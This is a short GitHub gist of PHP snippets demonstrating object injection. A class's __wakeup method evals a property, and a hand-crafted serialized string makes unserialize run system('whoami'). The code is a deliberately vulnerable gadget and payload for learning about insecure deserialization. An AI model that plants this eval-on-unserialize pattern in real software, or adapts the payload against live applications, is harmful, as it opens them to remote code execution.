Skip to content

Instantly share code, notes, and snippets.

@MohitDabas
Created June 15, 2020 03:54
Show Gist options
  • Save MohitDabas/fa98677d3a33d4cace5dd14a660cb023 to your computer and use it in GitHub Desktop.
Save MohitDabas/fa98677d3a33d4cace5dd14a660cb023 to your computer and use it in GitHub Desktop.
Php Object Injection Attack Code Snippets
<?php
class PHPObjectInjection{
public $inject;
function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
$a= new PHPObjectInjection();
$b=serialize($a);
echo $b;
$b="O:18:\"PHPObjectInjection\":1:{s:6:\"inject\";s:17:\"system('whoami');\";}";
$c=unserialize($b);
print_r($c);
<?php
class PHPObjectInjection{
public $inject;
}
$a= new PHPObjectInjection();
$b=serialize($a);
echo $b;
echo "\n";
$c=unserialize($b);
print_r($c);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment